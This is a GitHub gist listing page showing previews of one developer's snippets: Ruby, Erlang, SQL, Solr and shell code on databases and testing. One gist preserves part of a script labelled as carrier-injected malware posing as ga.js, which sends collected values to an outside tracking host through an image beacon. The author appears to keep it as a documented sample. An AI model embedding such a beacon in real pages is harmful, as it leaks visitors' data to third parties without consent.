Skip to content

Instantly share code, notes, and snippets.

@codesnik
codesnik / permute.rb
Created July 6, 2019 18:54
find permutations
# find arrangements of numbers from 1 to 8, so that
# if they're put into matrix like this, no consequentive numbers
# would "touch" directly or diagonally.
# 0 1
# 2 3 4 5
# 6 7
next_neighbours = [[1,2,3,4], [3,4,5], [3,6], [4,6,7], [5,6,7], [7], [7]]
result = [*1..8].permutation.filter do |row|
next_neighbours.each_with_index.none? do |neighbours, current|
@codesnik
codesnik / ga.js
Created July 23, 2018 08:00
megafon's malware ga.js replacement
! function() {
function e(e) {
var n = "",
t = "?";
for (var r in e) {
var o = e[r],
a = "boolean" == typeof o ? o ? r : null : o;
a && (n += t + "cv[]=" + encodeURIComponent(a), t = "&")
}(new Image).src = "http://d.mobilebanner.ru/p.gif" + n
}
@codesnik
codesnik / kpro.hrl
Last active April 13, 2017 08:02
generated code by kafka_protocol
%% generated code, do not edit!
-ifndef(kpro_hrl).
-define(kpro_hrl, true).
-include("kpro_common.hrl").
-record(kpro_packet,
{ size :: kpro:int32()
, payload :: kpro_packet_payload()
#!/usr/bin/env rspec
shared_examples "#flatten" do
it "should flatten empty array" do
expect( flatten([]) ).to eq []
end
it "should flatten single level array" do
expect( flatten([1, 2, 3]) ).to eq [1, 2, 3]
---
name: example-DIH-db
version: 1.6
uniqueKey: id
fieldTypes:
- name: alphaOnlySort
class: solr.TextField
omitNorms: true
sortMissingLast: true
analyzer:
@codesnik
codesnik / gist:d3641298743ed42c6a05
Created February 3, 2016 18:48
union vs union all
[busfor_prod] # explain analyze SELECT * FROM cities where id in (select from_id FROM timetable_segments UNION ALL SELECT to_id FROM timetable_segments);
QUERY PLAN
-------------------------------------------------------------------------------------------------------------------------------------------------------------
Nested Loop (cost=747.24..1988.45 rows=19318 width=442) (actual time=12.208..13.778 rows=606 loops=1)
-> HashAggregate (cost=746.95..748.95 rows=200 width=4) (actual time=12.194..12.311 rows=606 loops=1)
Group Key: timetable_segments.from_id
-> Append (cost=0.00..665.16 rows=32716 width=4) (actual time=0.012..7.302 rows=32716 loops=1)
-> Seq Scan on timetable_segments (cost=0.00..332.58 rows=16358 width=4) (actual time=0.012..2.133 rows=16358 loops=1)
-> Seq Scan on timetable_segments timetable_segments_1 (cost=0.00..332.58 rows=16358 width=4) (actual time=0.00
@codesnik
codesnik / cube.rb
Created January 20, 2016 16:27
fetching postgresql data cubes with active record
def cube(relation, keys)
rs = relation.group("cube (#{keys.join(', ')})").pluck(*keys, 'count(*)', "grouping(#{keys.join(', ')})")
hs = {}
rs.group_by(&:pop).each do |grouping, rows|
hs[select_by_bitmask(grouping, keys)] =
rows.map do |*indexes, value|
[select_by_bitmask(grouping, indexes), value]
end.to_h
end
hs
@codesnik
codesnik / regroup.rb
Created January 19, 2016 05:09
regrouping activerecord's group of group of groups
module Regroup
module_function
# Makes a tree out of a flat hashes with array keys.
# Useful for transformation of things like
# relation.group(:a).group(:b).group(:c).count
# to a hash of hash of hahes of any depth.
# Safe for usage with plain hashes, too.
#
@codesnik
codesnik / update_postgres_db.sh
Created January 13, 2016 20:10
stupid but working updating postgresql to 9.5.0 with homebrew on OSX
# stupid but working updating postgresql to 9.5.0 with homebrew on OSX
brew update
# if you already updated and have your old databases inacessible, just do
# ls /usr/local/Cellar/postgresql
# for versions, then
# brew switch postgresql 9.4.5
# or whatever version you had before
@codesnik
codesnik / maxminddb_stubbed_test.rb
Created December 27, 2015 03:14
moscow stubbed for maxminddb empty db
raw = {"city"=>{"geoname_id"=>524901, "names"=>{"de"=>"Moskau", "en"=>"Moscow", "es"=>"Moscú", "fr"=>"Moscou", "ja"=>"モスクワ", "pt-BR"=>"Moscovo", "ru"=>"Москва", "zh-CN"=>"莫斯科"}},
"continent"=>
{"code"=>"EU",
"geoname_id"=>6255148,
"names"=>{"de"=>"Europa", "en"=>"Europe", "es"=>"Europa", "fr"=>"Europe", "ja"=>"ヨーロッパ", "pt-BR"=>"Europa", "ru"=>"Европа", "zh-CN"=>"欧洲"}},
"country"=>
{"geoname_id"=>2017370,
"iso_code"=>"RU",
"names"=>{"de"=>"Russland", "en"=>"Russia", "es"=>"Rusia", "fr"=>"Russie", "ja"=>"ロシア", "pt-BR"=>"Rússia", "ru"=>"Россия", "zh-CN"=>"俄罗斯"}},
"location"=>{"latitude"=>55.7522, "longitude"=>37.6156, "time_zone"=>"Europe/Moscow"},